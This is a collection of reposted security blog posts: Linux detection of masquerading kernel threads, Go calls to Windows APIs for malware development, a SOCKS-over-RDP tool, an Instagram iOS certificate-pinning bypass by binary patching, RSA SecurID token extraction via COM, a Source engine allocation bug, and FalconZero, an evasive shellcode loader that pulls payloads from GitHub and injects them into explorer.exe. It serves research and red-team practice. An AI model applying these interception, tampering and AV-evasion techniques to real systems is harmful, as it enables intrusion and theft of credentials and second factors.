Figure 6 — Obtaining SHA1 hash of Linux kernel masquerading attack.
Now we see the hash, let’s recover the binary and copy it somewhere so it can be analyzed offline. Using the command below we’ll make a copy to /tmp/suspicious_bin. Now, we have our own copy in case the malware tries to delete itself in self-defence:
cp /proc/2121/exe /tmp/suspicious_bin
Figure 7 — Recovering suspicious Linux malware binary.
If you want to automatically crawl through the PIDs and get SHA1 hashes of imposters, you can run this command:
ps auxww | grep \\[ | awk '{print $2}' | xargs -I % sh -c 'echo PID: %; sha1sum /proc/%/exe' 2> /dev/null
The above command will try to get a SHA1 hash of all processes with [brackets] around them. Any that return a hash are likely imposters:
Figure 8 — Script output of SHA1 hash from masquerading Linux kernel thread.
Now you have two solid ways to use the Linux command line to investigate suspicious processes trying to masquerade as kernel threads.
Adapted from original post which appeared on Sandfly Security.
Craig Rowland is Founder and CEO of Sandfly Security.
-
1
-
-
How To Call Windows APIs in Golang
5 minute read
Well, it’s been quite a while since my last post, but it feels good to be back again. I’ve taken a break from doing exploit development stuff since getting my OSCE, I don’t have much of passion for it anymore. I’m not focusing more on reversing and creating malware. And this blog post is a result of me going down this path.
I’ve been learning a lot about Golang, trying to learn a new language and trying to future-proof my skill sets for a while. Go has actually been a blast to learn, but I needed to start tying it into my goal of learning how to develop malware. In this pursuit, I wanted to see the full realm of how Go can be utitlized to conduct malicious functions on users machines, and I soon after found out that you can call Windows APIs (similar to C programming) from within Go. Though I found this out, there is VERY LITTLE documentation about this, if any at all. I found one blog (which I will link soon after this introduction) that talks about it, but is already a tad dated and not super easy to follow for people like me (non-developers). Wanting to be the change I want in the world, I decided to make this blog.
One shoutout I have to make is to this blog which is the one I mentioned above and had the most robust explanation on this topic that I could find.
Without much more rambling, let’s get into the meat of this blog!
Different Libraries to Call Windows APIs
There are quite a few libraries within Golang that allow you to call windows APIs. To just name the ones I know of, there are syscall, windows, w32, and C. The last one doesn’t truly allow you to call APIs directly, but it allows you to write C code within your Golang source, and also help you convert data types to assist with these other libraries.
I had quite of a bit of issue with each of these, and really had the best luck with windows and syscall, so let’s talk about this one first.
Changing Windows Background Image in C++
My idea to test using Windows API’s was to try and change the background in my development VM. Let’s see what this looks like in C++ first and then we will investigate porting it over to Go.
#include <windows.h> #include <iostream> int main() { const wchar_t *path = L"C:\\image.png"; int result; result = SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, (void *)path, SPIF_UPDATEINIFILE); std::cout << result; return 0; }
I’m going to assume a level of comfortability with reading C code if you’re reading this, so I wont go into the structure of this code, but as you can see, you can use the SystemParameterInfoW() function to channge the wallpaper in Windows. One of the greatest things Microsft has given to the people are it’s MSDN documenation. Here is the struture of SystemParameterInfoW() from MSDN documenation:
BOOL SystemParametersInfoW( UINT uiAction, UINT uiParam, PVOID pvParam, UINT fWinIni );
All we need to really know for this, is the value for uiAction to change the background (which is 0x0014 (which represents SPI_SETDESKWALLPAPER)), uiParam can be 0, pvParam will be the path to the image we want to change, and fWinIni will be set to 0x001A which is defined as SPIF_UPDATEINIFILE from the documentation. Knowing all this, let’s start setting up the Go version of this!
Changing Windows Background Image in Golang
Now that we are equipped with how we can call this function, we can start piecing together our Go file. All we need is one file, so we start out with our skeleton file, with some imports:
package main import ( "fmt" "unsafe" "golang.org/x/sys/windows" ) func main() { }
Let’s go over the imports here. fmt for us to print some text to the terminal, unsafe allows us to bypass the safety of declaring types within Go programs, and finally golang.org/x/sys/windows is what will allow us to call Windows APIs.
Looking over the documentation of the windows library, since the SystemParameterInfoW() function is explicitly defined by the creator of this library, we have to manually open a handle the DLL that holds this function, and then create a variable that points to this function. In the windows library, the way to open a handle to a DLL is:
user32DLL = windows.NewLazyDLL("user32.dll")
Which will then add to a variable declaration block with the pointer to the function we want from this DLL:
var ( user32DLL = windows.NewLazyDLL("user32.dll") procSystemParamInfo = user32DLL.NewProc("SystemParametersInfoW") )
So now we have to variables, and we will call upon the second one later on and load our parameters into it to have it change our wallpaper. Now within our main function, we first need to define the image path of where the picture we want to change our wallpaper to is located. For me it’s located under C:\Users\User\Pictures\image.jpg. You have to wrap this path within the UTF16PtrFromString() function to change it’s type so that it will be accepted into the C function, since Windows APIs get a little tricky with Golang strings. This will definiely be an issue doing more complicated APIs, which I will have another blog about in the future.
I then have the binary print out to the user that it is in fact changing the background (but Go binaries execute so quickly probably doesn’t matter too much, I just like having print statements!) Finally, we use the Call() function within this windows library to invoke the API and have it execute and change our wallpaper. Here is the final main function in our code:
func main() { imagePath, _ := windows.UTF16PtrFromString(`C:\Users\User\Pictures\image.jpg`) fmt.Println("[+] Changing background now...") procSystemParamInfo.Call(20, 0, uintptr(unsafe.Pointer(imagePath)), 0x001A) }
So as you can see above, in the last line, we use the procSystemParamInfo variable we declared which points to the API we want to use, then pair that with the Call() function explained earlier, and then load it up with the parameters we discussed towards the begining. You will see two additional wrappers around the imagePath variable on the last line as well. This is a super hacky way to get windows API’s to accept golang variable types, first making the whole parameter a uintptr which is just a pointer that a C function will accept, and then wrapping the UTF16PtrFromString string in unsafe.Pointer() function to then allow Go to bypass the safety of type conversion since we are doing several unorthodox conversions.
Let’s compile this with go build from within the directory of the source code and run the exe that gets built.
Thanks for reading this! Feel free to hit me up on twitter if you have any questions about this! Happy hacking!
Sursa: https://anubissec.github.io/How-To-Call-Windows-APIs-In-Golang/#
-
Tool Release – Socks Over RDP
Introduction
Remote Desktop Protocol (RDP) is used to create an interactive session on a remote Windows machine. This is a widely used protocol mostly used by Administrators to remotely access the resources of the operating system or network based services.
As penetration testers we frequently find ourselves in a situation where the only access that we are provided to a server or network is a Remote Desktop account. These servers are commonly called Jump boxes. It means that we need to perform our testing via this server. This usually introduces a few extra steps that takes time from us and our clients to setup and configure:
- Create a list of tools that needs to be installed on the server (optional)
- Get the list approved by the client (optional)
- Install the tools on the server
- Struggle to test with a quickly prepared environment with lots of limitations
- Repeat all points above
On top of this disruptive cycle, some of our clients do not really like us needing to install security testing tools on their machines, which is understandable, but this proves to be a deadlock in many cases.
To solve all of these issues above, we are happy to announce our new tool: Socks Over RDP.
Socks Over RDP
In case our testing has to go through a UNIX based server, this is a non-issue. SSH already has support for SOCKS Proxying, which can be set up for example with the “-D” parameter. The Remote Desktop Protocol and its Windows client however has no such feature.
This tool was created to add this functionality to the Remote Desktop Protocol and its client. Just like SSH, upon connection a SOCKS Proxy is created on the client site, which can be used to proxy everything over the existing RDP connection.
The tool has two components:
- A .dll, which needs to be registered on the client computer and will be loaded to the context of the Remote Desktop Client every time when it runs. This does nothing by itself, to active the SOCKS Proxy the other component needs to be executed
- A .exe, which is the server component. This needs to be copied to the server and executed. No installation, no configuration this is completely hassle free.
When the .exe is executed on the server side in the Remote Desktop Connection, it connects back to the plugin over a Dynamic Virtual Channel (which is a feature of the protocol) and the plugin will spin up a SOCKS Proxy on the client side. That proxy by default listens on 127.0.0.1:1080, which can be configured as a proxy in browsers or tools.
Note that the server component (.exe) does not require any special privileges on the server side at all, a low privileged user is also allowed to open virtual channels and proxy over the connection.
It is worth noting that this tool works on Windows only. In case you are a UNIX user, FreeRDP released a similar or equivalent plugin for their tool as well.
The Tool
The tool is open source and was released on an online conference called HAVOC, organized by Hackers Academy and can be found on GitHub.
Technical details, configuration options and other information can be found there as well:
https://github.com/nccgroup/SocksOverRDP
Security Concerns
By default, there are no security concerns associated with the tool.
The server component can be executed as a low privilege user, requiring no configuration or installation at all.
Upon misconfiguration of the plugin (client component), the proxy can be changed to listen on all interfaces, which might expose the proxy to other computers on the client’s local network. With a properly configured firewall this can be mitigated.
Written by: Balazs Bucsay [@xoreipeip] https://twitter.com/xoreipeip
Sursa: https://research.nccgroup.com/2020/05/06/tool-release-socks-over-rdp/
-
Bypass Instagram SSL Certificate Pinning for iOS
May 5th, 2020 · 3 min readOnce again, with another iOS app, and this time we will go through the Instagram iOS app trying to bypass its SSL Certificate Pinning protection.
DISCLAIMER: The articles, tutorials, and demos provided on this blog are for informational and educational purposes only, and for those who’re willing and curious to know and learn about Ethical Hacking, Cybersecurity, and Penetration Testing. You shall not misuse the information to gain unauthorized access or any other illegal use.
SSL Pinning
We have mentioned previously in Bypass Facebook SSL Certificate Pinning for iOS blog, the meaning of SSL Pinning, and the importance of implementing it.
Now let’s download the latest version of the Instagram iOS app and step up an HTTP proxy from Wi-Fi settings.
Open Burp Suite and configure your proxy options. Then, open the Instagram app and trying to login. If you are using the latest version of Burp Proxy v2020.4 now supports TLS 1.3, you will see a this message in your Dashboard -> Event log tab:
Also, your Instagram app will show you a this alert:
That’s because of their SSL Certificate Pinning protection which must be bypassed to be able to intercept requests and responses from their server.
Reverse Engineering
Let’s get the decrypted IPA for the app to reverse-engineer it. Using Frida iOS Dump you will be able to pull the app IPA from your jailbroken iPhone. After the script finish, change the app extension from .ipa to .zip then uncompress it.
Copy
1$ mv Instagram.ipa Instagram.zip2$ unzip Instagram.zipWe need to locate the binary that has the SSL Pinning implementation to reverse it. A good way to locate it by using a tools like grep or ack to search for strings that indicate the validation process inside the extracted Payload folder. From the app alert message, we can use strings like OpenSSL, verify error, signed certificate, and verifier failure.
Copy
1$ grep -rins "verify error" .2Binary file ./Instagram.app/Frameworks/FBSharedFramework.framework/FBSharedFramework matchesA Mach-O 64-bit shared library binary file called FBSharedFramework was found. It seems the one we found in the Facebook app but less size. We will use Hopper Disassembler to open the binary file.
A good start is to search with the alert error shown on the app. So, we will try to find the branch that responsible for OpenSSL cert verify error.
We found a match result for our string search. Click on it will navigate us to its location at the __cstring segment which contains all of the strings that are included in the application source code and their hexadecimal offsets.
To locate where the string is used in Hopper you can double-click on the cross-reference (XREF) to move to where the string is referenced in the binary.
Now we need to gain a better understanding of the code logic that responsible for SSL Pinning using the control flow graph (CFG).
Our mission is to avoid reaching the OpenSSL branch so that the app can work normally without any error alerts.
After analyzing the control flow graph (CFG) starting from your bottom branch, it seems very similar to the one that we found in the Facebook app. We can found the same isolated branch that doesn’t reach the OpenSSL cert verify error branch.
We have to invert the b.ne (short for “Branch if Not Equal”) instruction which branches, or “jumps”, to the address specified if, and only if the zero flag is clear, to the b.eq (short for “Branch if Not Equal”) instruction which branches, or “jumps”, to the address specified if, and only if the zero flag is clear. So, instead of entering to loc_22031c branch that causing the OpenSSL cert verify error, it entering the valid branch.
Binary Patching
A simple way to do this is by copying the hex encoding for the instruction that we want to change, then past it in an online HEX to ARM converter to get its ARM64 instruction. Then, copy the instruction you got and change it from B.NE to B.EQ as we want it to be. Past it in an online ARM to HEX converter to get our new ARM64 HEX values, as we explained in Bypass Facebook SSL Certificate Pinning for iOS blog.
Now, all we have to do is changing the instruction encoding for b.ne from 41 0C 00 54 to 40 0C 00 54 using the hex editor in hopper.
Then, save and extract our new binary, from File Menu -> Choose Produce New Executable and replace the new executable with the old one in the same app directory. Now, let’s compress our new Payload folder and change to an IPA again.
Copy
1$ zip -r Instagram.zip Payload2$ mv Instagram.zip Instagram.ipaCopy the new IPA to your jailbroken iPhone using iFunbox and install it using Filza File Manager.
Intercepting
After a successful installation for the modified application, let’s open it and login when we intercepting the requests using Burp Suite.
Now we can intercept all the requests and find interesting vulnerabilities at new endpoints then submit them to Facebook Bug Bounty Program.
Sursa: https://www.cyclon3.com/bypass-instagram-ssl-certificate-pinning-for-ios
-
T1111: Two Factor Interception, RSA SecurID Software Tokens
06/05/2020 | Author: Admin
Introduction
During Red Team Operations, it is not uncommon to find systems or applications related to the engagement objectives being protected by Two Factor Authentication. One of the solutions that we frequently encounter is RSA SecurID Software Tokens. Strategies to circumvent or intercept tokens when faced with such deployments are therefore always desirable; this technique is described in MITRE ATT&CK T1111.
In this blog post, we will outline several potential approaches for intercepting RSA SecurID Software Tokens, including the approach that we opted for during our own operations. During the outlined scenarios, we assume access to the victim’s endpoint has already been achieved.
Extraction using Screenshots
Taking a screenshot is perhaps the straightforward option for token interception and is likely the first idea that would come to anyone’s mind.
However, there are a couple of downfalls. Firstly, we are assuming that the software is running and is visible on the client desktop. The second potential problem is that the user may have different configured tokens as can be seen in the image below:
As such, if we need to gain access to an account that is not presently visible on the screen, we need to interactively select the token. This approach is unlikely to be viable during a Red Team scenario.
Hooking Functions
Another potential approach would have been hooking the SetClipboardData function or the one responsible for drawing the token value on the screen. A potential risk with this method is that we need to inject into the current process, a technique that we try to avoid as much as possible.
This approach also isn’t as reliable as you might expect, with research showing that a lot of unrelated junk is present on the GUI functions and the SetClipBoardData function would only work if the user pressed the Copy button.
For these reasons, we decided to perform further research on how to extract the tokens in a more OpSec friendly strategy.
Analysing the Application
When reversing the RSA SecureID process in IDA it quickly becomes clear that the application functionality is relatively limited and only several functions were available.
After some analysis of the application, the following function was discovered:
The program was performing Signature Verification on the desktopclient.dll and then loading the library using the QLibrary::Load function as can be seen on the image above:
Since the main executable had limited functions, the focus switched on the desktopclient.dll library.
Loading desktopclient.dll in IDA, it was noted that it was making several calls to ole32.dll APIs. At this point it was highly likely that the communication was being achieved using COM.
Using OLEView .NET, we can see that two classes are available:
- RsaTokenService
- Token
OLEView .Net allows you to view a COM object type library (which is a binary file that stores information about object properties and methods).
The following interfaces were discovered:
[Guid("13a78cfa-ff65-4157-a90d-05afdb16f3c6")] interface IRsaTokenService { /* Methods */ string getCurrentCode(string serial, string pin, [Out] Int32& timeleft); string getNextCode(string serial, string pin, [Out] Int32& timeleft); void displayHelpTopic(string topic); string getCurrentTokencode(); string getNextTokencode(); /* Properties */ string Serials { get; } }
[Guid("84652502-e607-4467-a216-be093824e90d")] interface IToken { /* Methods */ void Init(string serial); bool IsPinValid(string pin); /* Properties */ string serialNumber { get; } int otpInterval { get; } bool isPinRequired { get; } string url { get; } string userId { get; } string userFirstName { get; } string userLastName { get; } string label { get; } long deathDate { get; } bool shouldPrependPin { get; } string iconData { get; } int iconType { get; } int digits { get; } string extendedAttributes { get; } }
Extracting the Tokens
On first glance, the methods described on this interfaces were quite promising and a test harness was created to call them to determine if they functioned as described.
To use this COM object, first add a reference of the rsatokenbroker Library:
After adding the reference, the following steps were followed for the token extraction:
- Create an Instance of the RSATokenService class
- Retrieve all the registered serial numbers of the tokens.
- Create an Instance of the Token class using the previously retrieved serial number
- Extract related information from the Token class properties like URL, UserId etc.
- Call getCurrentCode(string serial, string pin, [Out] Int32& timeleft);
RSA SecurID supports protecting the token by a PIN but in our implementation we didn’t have the opportunity to test this configuration further.
A simple C# program that extracts all the registered tokens and associated information can be found on GitHub.
Conclusions
Using the COM object provided us with an interface to extract the tokens in an OpSec safe way, avoiding injecting any process and calling any suspicious APIs. Having a software token, on the same device where the users’ credentials can be compromised is generally a bad idea and counteracts the benefits that many Multi Factor solutions provide. To mitigate against this type of “attack” we would recommend relying on hardware tokens, or using separate hardware (such as a mobile phone) for generating the software tokens.
This blog post was written by Rio Sherri.
Sursa: https://www.mdsec.co.uk/2020/05/t1111-two-factor-interception-rsa-securid-software-tokens/
-
Source Engine Memory Corruption via LUMP_PAKFILE
May 5, 2020
A month or so ago I dropped a Source engine zero-day on Twitter without much explanation of what it does. After determining that it’s unfortunately not exploitable, we’ll be exploring it, and the mess that is Valve’s Source Engine.
History
Valve’s Source Engine was released initially on June 2004, with the first game utilizing the engine being Counter-Strike: Source, which was released itself on November 1, 2004 - 15 or so years ago. Despite being touted as a “complete rewrite” Source still inherits code from GoldSrc and it’s parent, the Quake Engine. Alongside the possibility of grandfathering in bugs from GoldSrc and Quake (GoldSrc itself a victim of this), Valve’s security model for the engine is… non-existent. Valve not yet being the powerhouse they are today, but we’re left with numerous stupid fucking mistakes, dude, including designing your own memory allocator (or rather, making a wrapper around malloc.).
Of note - it’s relatively common for games to develop their own allocator, but from a security perspective it’s still not the greatest.
The Bug
The byte at offset A47B98 in the .bsp file I released and the following three bytes (\x90\x90\x90\x90), parsed as UInt32, controls how much memory is allocated as the .bsp is being loaded, namely in CS:GO (though also affecting CS:S, TF2, and L4D2). That’s the short of it.
To understand more, we’re going to have to delve deeper. Recently the source code for CS:GO circa 2017’s Operation Hydra was released - this will be our main tool.
Let’s start with WinDBG. csgo.exe loaded with the arguments -safe -novid -nosound +map exploit.bsp, we hit our first chance exception at “Host_NewGame”.
---- Host_NewGame ---- (311c.4ab0): Break instruction exception - code 80000003 (first chance) *** WARNING: Unable to verify checksum for C:\Users\triaz\Desktop\game\bin\tier0.dll eax=00000001 ebx=00000000 ecx=7b324750 edx=00000000 esi=90909090 edi=7b324750 eip=7b2dd35c esp=012fcd68 ebp=012fce6c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 tier0!CStdMemAlloc::SetCRTAllocFailed+0x1c: 7b2dd35c cc int 3
On the register $esi we can see the four responsible bytes, and if we peek at the stack pointer –
Full stack trace removed for succinctness.
00 012fce6c 7b2dac51 90909090 90909090 012fd0c0 tier0!CStdMemAlloc::SetCRTAllocFailed+0x1c [cstrike15_src\tier0\memstd.cpp @ 2880] 01 (Inline) -------- -------- -------- -------- tier0!CStdMemAlloc::InternalAlloc+0x12c [cstrike15_src\tier0\memstd.cpp @ 2043] 02 012fce84 77643546 00000000 00000000 00000000 tier0!CStdMemAlloc::Alloc+0x131 [cstrike15_src\tier0\memstd.cpp @ 2237] 03 (Inline) -------- -------- -------- -------- filesystem_stdio!IMemAlloc::IndirectAlloc+0x8 [cstrike15_src\public\tier0\memalloc.h @ 135] 04 (Inline) -------- -------- -------- -------- filesystem_stdio!MemAlloc_Alloc+0xd [cstrike15_src\public\tier0\memalloc.h @ 258] 05 (Inline) -------- -------- -------- -------- filesystem_stdio!CUtlMemory<unsigned char,int>::Init+0x44 [cstrike15_src\public\tier1\utlmemory.h @ 502] 06 012fce98 7762c6ee 00000000 90909090 00000000 filesystem_stdio!CUtlBuffer::CUtlBuffer+0x66 [cstrike15_src\tier1\utlbuffer.cpp @ 201]
Or, in a more succinct form -
0:000> dds esp 012fcd68 90909090
The bytes of $esi are directly on the stack pointer (duh). A wonderful start. Keep in mind that module - filesystem_stdio — it’ll be important later. If we continue debugging —
***** OUT OF MEMORY! attempted allocation size: 2425393296 **** (311c.4ab0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000032 ebx=03128f00 ecx=012fd0c0 edx=00000001 esi=012fd0c0 edi=00000000 eip=00000032 esp=012fce7c ebp=012fce88 iopl=0 nv up ei ng nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010292 00000032 ?? ???
And there we see it - the memory allocator has tried to allocate 0x90909090, as UInt32. Now while I simply used HxD to validate this, the following Python 2.7 one-liner should also function.
print int('0x90909090', 0)
(For Python 3, you’ll have to encapsulate everything from int onward in that line in another set of parentheses. RTFM.)
Which will return 2425393296, the value Source’s spaghetti code tried to allocate. (It seems, internally, Python’s int handles integers much the same way as ctypes.c_uint32 - for simplicity’s sake, we used int, but you can easily import ctypes and replicate the finding. Might want to do it with 2.7, as 3 handles some things oddly with characters, bytes, etc.)
So let’s delve a bit deeper, shall we? We would be using macOS for the next part, love it or hate it, as everyone who writes cross-platform code for the platform (and Darwin in general) seems to forget that stripping binaries is a thing - we don’t have symbols for NT, so macOS should be a viable substitute - but hey, we have the damn source code, so we can do this on Windows.
Minimization
One important thing to do before we go fully into exploitation is minimize the bug. The bug is a derivative of one found with a wrapper around zzuf, that was re-found with CERT’s BFF tool. If we look at the differences between our original map (cs_assault) and ours, we can see the differences are numerous.
Minimization was done manually in this case, using BSPInfo and extracting and comparing the lumps. As expected, the key error was in lump 40 - LUMP_PAKFILE. This lump is essentially a large .zip file. We can use 010 Editor’s ZIP file template to examine it.
Symbols and Source (Code)
The behavior between the Steam release and the leaked source will differ significantly.
No bug will function in a completely identical way across platforms. Assuming your goal is to weaponize this, or even get the maximum payout from Valve on H1, your main target should be Win32 - though other platforms are a viable substitute. Linux has some great tooling available and Valve regularly forgets strip is a thing on macOS (so do many other developers).
We can look at the stack trace provided by WinDBG to ascertain what’s going on.
Starting from frame 8, we’ll walk through what’s happening.
The first line of each snippet will denote where WinDBG decides the problem is.
if ( pf->Prepare( packfile->filelen, packfile->fileofs ) ) { int nIndex; if ( addType == PATH_ADD_TO_TAIL ) { nIndex = m_SearchPaths.AddToTail(); } else { nIndex = m_SearchPaths.AddToHead(); } CSearchPath *sp = &m_SearchPaths[ nIndex ]; sp->SetPackFile( pf ); sp->m_storeId = g_iNextSearchPathID++; sp->SetPath( g_PathIDTable.AddString( newPath ) ); sp->m_pPathIDInfo = FindOrAddPathIDInfo( g_PathIDTable.AddString( pPathID ), -1 ); if ( IsDvdDevPathString( newPath ) ) { sp->m_bIsDvdDevPath = true; } pf->SetPath( sp->GetPath() ); pf->m_lPackFileTime = GetFileTime( newPath ); Trace_FClose( pf->m_hPackFileHandleFS ); pf->m_hPackFileHandleFS = NULL; //pf->m_PackFileID = m_FileTracker2.NotePackFileOpened( pPath, pPathID, packfile->filelen ); m_ZipFiles.AddToTail( pf ); } else { delete pf; } } }
It’s worth noting that you’re reading this correctly - LUMP_PAKFILE is simply an embedded ZIP file. There’s nothing too much of consequence here - just pointing out m_ZipFiles does indeed refer to the familiar archival format.
Frame 7 is where we start to see what’s going on.
zipDirBuff.EnsureCapacity( rec.centralDirectorySize ); zipDirBuff.ActivateByteSwapping( IsX360() || IsPS3() ); ReadFromPack( -1, zipDirBuff.Base(), -1, rec.centralDirectorySize, rec.startOfCentralDirOffset ); zipDirBuff.SeekPut( CUtlBuffer::SEEK_HEAD, rec.centralDirectorySize );
If one is to open LUMP_PAKFILE in 010 Editor and parse the file as a ZIP file, you’ll see the following.
elDirectorySize is our rec.centralDirectorySize, in this case. Skipping forward a frame, we can see the following.
Commented out lines highlight lines of interest.
CUtlBuffer::CUtlBuffer( int growSize, int initSize, int nFlags ) : m_Error(0) { MEM_ALLOC_CREDIT(); m_Memory.Init( growSize, initSize ); m_Get = 0; m_Put = 0; m_nTab = 0; m_nOffset = 0; m_Flags = nFlags; if ( (initSize != 0) && !IsReadOnly() ) { m_nMaxPut = -1; AddNullTermination( m_Put ); } else { m_nMaxPut = 0; } ...
followed by the next frame,
template< class T, class I > void CUtlMemory<T,I>::Init( int nGrowSize /*= 0*/, int nInitSize /*= 0*/ ) { Purge(); m_nGrowSize = nGrowSize; m_nAllocationCount = nInitSize; ValidateGrowSize(); Assert( nGrowSize >= 0 ); if (m_nAllocationCount) { UTLMEMORY_TRACK_ALLOC(); MEM_ALLOC_CREDIT_CLASS(); m_pMemory = (T*)malloc( m_nAllocationCount * sizeof(T) ); } }
and finally,
inline void *MemAlloc_Alloc( size_t nSize ) { return g_pMemAlloc->IndirectAlloc( nSize ); }
where nSize is the value we control, or $esi. Keep in mind, this is all before the actual segfault and $eip corruption. Skipping ahead to that –
***** OUT OF MEMORY! attempted allocation size: 2425393296 **** (311c.4ab0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000032 ebx=03128f00 ecx=012fd0c0 edx=00000001 esi=012fd0c0 edi=00000000 eip=00000032 esp=012fce7c ebp=012fce88 iopl=0 nv up ei ng nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010292 00000032 ?? ???
We’re brought to the same familiar fault. Of note is that $eax and $eip are the same value, and consistent throughout runs. If we look at the stack trace WinDBG provides, we see much of the same.
Picking apart the locals from CZipPackFile::Prepare, we can see the values on $eip and $eax repeated a few times. Namely, the tuple m_PutOverflowFunc.
So we’re able to corrupt this variable and as such, control $eax and $eip - but not to any useful extent, unfortunately. These values more or less seem arbitrary based on game version and map data. What we have, essentially - is a malloc with the value of nSize (0x90909090) with full control over the variable nSize. However, it doesn’t check if it returns a valid pointer – so the game just segfaults as we’re attempting to allocate 2 GB of memory (and returning zero.) In the end, we have a novel denial of service that does result in “control” of the instruction pointer - though not to an extent that we can pop a shell, calc, or do anything fun with it.
Thanks to mev for phrasing this better than I could.
I’d like to thank mev, another one of our members, for assisting with this writeup, alongside paracord and vmcall.
-
Introducing FalconZero v1.0 - a stealthy, targeted Windows Loader for delivering second-stage payloads(shellcode) to the host machine undetected
Reading Time: 10 minutes
Warning Ahead!
You could dominate the world if you read this post from top to bottom and follow all the instructions written here. Proceed at your own discretion, operator!
TL;DR
This tool is
for red team operators and offensive security researchers and ergo, being made open source and free(as in free beer).
It is available here: https://github.com/slaeryan/FALCONSTRIKE
Demo
Let’s take a quick look at a demo of the FalconZero Implant Generation Utility and then we shall get down to the technicalities.
Introduction
Ever since I completed my SLAE, I am completely enchanted by the power of shellcode. This feeling was only augmented when I heard a podcast by the wonderful guys at FireEye’s Mandiant Red Team where they advocated the usage of shellcode in red teaming engagements for its flexibility and its ability to evade AV/EDRs among other things.
That’s when I decided to play around with various shellcode injection techniques. Along the way, I thought of a cool technique and made an implant based on it that could deliver Stage-2 payloads to the target machine in a stealthy manner. But why stop there? Why not add some neat features to it and create a framework to aid red teamers to generate these implants as quickly and cleanly as possible.
That was the inception of the FALCONSTRIKE project and FalconZero is the first public release version Loader/Dropper of the FALCONSTRIKE project. It implements the BYOL(Bring Your Own Land) approach as opposed to LotL(Living off the Land). But it’s not your standard run-off-the-mill shellcode loader(more on this later).
You may think of FalconZero as a loading dock for malware. In other words, FalconZero is comparable to an undetectable gun that will fire a bullet(payload) on the host machine.
This is the reason it may not be classified as malware per se but rather a facilitator of sorts that helps the malware get undetected on the host.
But there’s plenty of tools that already do that. So what makes FalconZero special?
While there are many excellent existing projects, this is not designed to be a replacement for them.
This is designed to be unique in its own way and there are quite a few of those features that separate it from the rest. So let’s discuss them one by one.
Separation of the final-stage payload from the Loader
As the real attackers often do, we need to separate the payload into 2 stages:
- Stage-1 payload - A stealthy, lightweight Loader - downloads and injects the Beacon shellcode into a benign host process.
- Stage-2 payload - A full-fledged interactive C2 Agent - Meterpreter/Beacon etc.
Some of the ways of storing the Stage-2 payload(shellcode) in the Stage-1 payload(Dropper) are:
- Storing shellcode in .text section of Dropper
- Storing shellcode in .data section of Dropper
- Storing shellcode in .rsrc section of Dropper etc.
While these techniques remain quite popular but keeping both the shellcode and Dropper bundled together(even if it is encrypted) is probably not a good idea from an OPSEC & risk management perspective.
Why risk combining all the functionality into a single tool?
Imagine if the blue-teams get a hold of an undetonated implant, not only will the Dropper get compromised but also the Stage-2 payload which can’t be any good. Instead, hosting the Stage-2 payload on a server is beneficial because you even have a kill-switch in your hands now(say you want to stop the op. simply delete the payload from the server and that’s it).
This technique also helps us to evade some AV/EDRs if the Stage-1 implant is designed in such a way since Stage-2 has more chances of getting detected.
So it’s best practise from an OPSEC and risk mitigation perspective to separate the Dropper and the shellcode over the network. In other words, the Dropper can connect to a remote server where the shellcode is hosted provided some conditions are met, fetch it from over there, prep it and then proceed to inject it into a host process on-the-fly which is exactly what has been implemented. Remember BYOL? Hopefully, it makes a lot more sense now.
Usage of Github for fetching the Stage-2 payload
Yep! You read that correctly. Github is used as the payload storage area. The implant connects to the appropriate Github repository and fetches the payload from there.
Why such a choice?
Simply because Github is largely considered a legitimate website and network traffic observed to Github will not be flagged as malicious by security products and will probably not even be blocked in most organisations/offices as opposed to using some attacker-owned web server hosting a payload which could be noisy as hell.
Last time I checked, I could not find any publicly available tools that utilised Github as the shellcode docking station so this would be the first of it’s kind. I sincerely hope Github doesn’t ban me from their platform now
As a brownie point, this would save the operator precious time and money too
Sensitive string obfuscation
All the sensitive strings in this implant are encrypted using the XOR algorithm with a key that is commonly found in binaries. This would make the job of extracting the URL string and other information from the binary using static analysis impossible.
Feel free to test it using FLOSS. Extract it, chmod +x and test using:
./floss <binary>
Implant targeting
This is something that I have spoken of before. Instead of having malicious code that executes on arbritrary systems, FalconZero comes with a targeting feature which prevents its execution on non-targeted assets and ensuring deployment only happens iff host is the intended target.
But we as red teams why should we care about it? This is why:
- To prevent the accidental breaking of the rules of engagement. This will ensure that the malcode doesn’t end being executed on any unintended host which are out of the scope.
- To hinder the efforts of blue teams trying to reverse engineer the implant on non-targeted assets and thwart analysis on automated malware sandboxes.
Okay, but how do we implement this?
Using something known as an environmental keying factor which could be any network/host specific identifier that is found out previously by reconnoitering the target.
By hard-coding that value in the implant and comparing it at runtime, we can verify whether the executing host is the intended target or not.
One problem that arises from this approach is that it would be trivial to extract that identifier from the binary if left in a plaintext format.
So why don’t we hash it? And compare the hashes at runtime instead of the original string?
FalconZero uses the hostname as the environmental keying factor, hashes it using MD5 algorithm and what’s more? It even encrypts that hash using XOR before hard-coding it to thwart all kinds of static analysis. Should the checks fail, the implant shall not execute on the host.
As a result, reverse engineering this implant should be non-trivial.
Killdate
Think of killdates like a sort of expiry date for implants beyond which the implant will simply not execute. Obviously, this is quite an important feature as you’d want your implants to be rendered useless after the engagement ends.
Address Of Entry Point Injection technique
Thanks to @spotheplanet, FalconZero utilises a shellcode injection technique that goes under the radar of many AV/EDRs since we do not need to allocate RWX memory pages in the host process which is a very noisy action.
Quoting from his blog,
This is a shellcode injection technique that works as follows: 1. Start a target process into which the shellcode will be injected, in suspended state. 2. Get AddressOfEntryPoint of the target process 3. Write shellcode to AddressOfEntryPoint retrieved in step 2 4. Resume target process
Credit goes to Mantvydas Baranauskas for describing this wonderful technique! In the current form, FalconZero injects the payload to
explorer.exe
. Of course, this could be modified to suit the purpose of the operator.Usage
There are many hard things in life but generating an implant shouldn’t be one. This is the reason the
generate_implant.py
script has been created to make your life a breeze. The process is as simple as:First generate your shellcode as a hex string Upload it on Github and copy the Github raw URL For testing(MessageBox shellcode): https://raw.githubusercontent.com/slaeryan/DigitalOceanTest/master/messagebox_shellcode_hex_32.txt git clone https://github.com/slaeryan/FALCONSTRIKE.git cd FALCONSTRIKE pip3 install -r requirements.txt python3 generate_implant.py
Follow the on-screen instructions and you’ll find the output in
bin
directory if everything goes well.AV Scan of FalconZero implant
